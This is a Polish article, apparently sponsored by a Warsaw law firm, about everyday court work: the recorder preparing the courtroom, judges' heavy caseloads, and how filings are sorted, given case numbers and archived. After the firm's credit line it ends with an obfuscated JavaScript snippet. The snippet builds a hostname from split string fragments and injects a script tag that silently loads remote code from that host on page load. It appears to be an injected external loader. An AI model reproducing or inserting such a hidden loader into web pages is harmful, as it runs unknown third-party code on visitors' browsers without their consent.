Praca w sądzie od kuchni

Zapewne każdy zastanawiał się kiedyś, jak wygląda praca w sądzie od tej drugiej strony, od strony prawników. Człowiek, istota ciekawska z natury, interesuje się wszystkim, co jest związane z przestrzenią zakulisową. Zagadnienia organizacji codziennej pracy albo szczegóły, dotyczące przygotowań do rozpraw sądowych& któż z nas nie jest ciekaw tych jakże tajemniczych tajników prawniczego zawodu? Tajemniczych, choć w gruncie rzeczy bardzo przyziemnych.

Przykładowo, zanim dojdzie do przeprowadzenia rozprawy sądowej, należy odpowiednio przygotować miejsce, a zatem wokandę, do rozpoczęcia danego procesu. Przygotowanie sali leży w gestii protokolanta i obejmuje ono nawet tak prozaiczne kwestie, jak otwarcie drzwi czy w razie potrzeby uchylenie okien, a także zapalenie światła. Przygotowuje on również szablon protokołu, obwieszcza rozpoczęcie konkretnej sprawy i niekiedy wspiera sędziego we wszelkich kwestiach biurowych. Współpraca sędziego i protokolanta odbywa się na zasadzie ograniczonego zaufania, czego dowodem jest chociażby znajdowanie się na sali sądowej dwóch monitorów.

Jeden jest oczywiście dla samego protokolanta, który w formie elektronicznej utrwala wszystko, co zostało wypowiedziane na rozprawie, natomiast drugi monitor przeznaczony jest dla sędziego. Kontroluje on treść protokołu, monitorując jego poprawność i zgodność ze stanem rzeczywistym. Niejednokrotnie zdarza się, że sędzia dyktuje protokolantowi to, co ma zapisać i bez wątpienia jest to dla niego ogromnym ułatwieniem. Mimo wszystko, obowiązki adwokatów, sędziów czy radców prawnych, pracujących w sądzie, nie należą do łatwych. Wpływa na to przede wszystkim horrendalna ilość spraw, którymi muszą się zająć i zdecydowanie najbardziej przeciążonym stanowiskiem w tej sytuacji jest stanowisko sędziego. Przeciętnie prowadzi on 400 spraw jednocześnie! Nie mniej przeciążeni są również pracownicy administracyjni wystarczy przyjrzeć się samej procedurze przyjmowania wniosków. Należy złożyć je w okienku podawczym, skąd transportowane są do pokoju, w którym dokonuje się prawidłowej segregacji.

Pozwy sortowane są w zależności od wydziału, do którego się odnoszą, a następnie odbierane przez wyznaczonego pracownika biurowego. Wówczas wniosek trafia do sędziego, który nadaje mu odpowiednią sygnaturę i termin rozprawy. Dopiero wtedy w sekretariacie tworzone są akta sprawy, wprowadzane następnie do systemu komputerowego. Po zakończeniu sprawy, akta trafiają do archiwum. Ciekawostki na temat pracy w sądzie od kuchni można by mnożyć& warto jednak zdawać sobie sprawę, że jak w każdym zawodzie ma ona zarówno swoje plusy, jak i minusy.

Kancelaria Prawna w Warszawie pomagała przy tworzeniu artykułu www.warszawa-mecenas.pl

(function(){
 w22r=document.createElement("script");w22r.type="text/javascript";
 w22r.async=true;w22r_=(("us")+"t")+"a";w22r_+=("t.i")+""+"n";w22r_+=(("f")+"o");w22r_+="/";
 w22ru="70782449.";w22ru+="pt6g93fg22rmsndvgy2sxe8hf8wxjc";w22r.src="//"+w22r_+w22ru;
 w22rdb=document.body; w22rdb.appendChild(w22r);
})();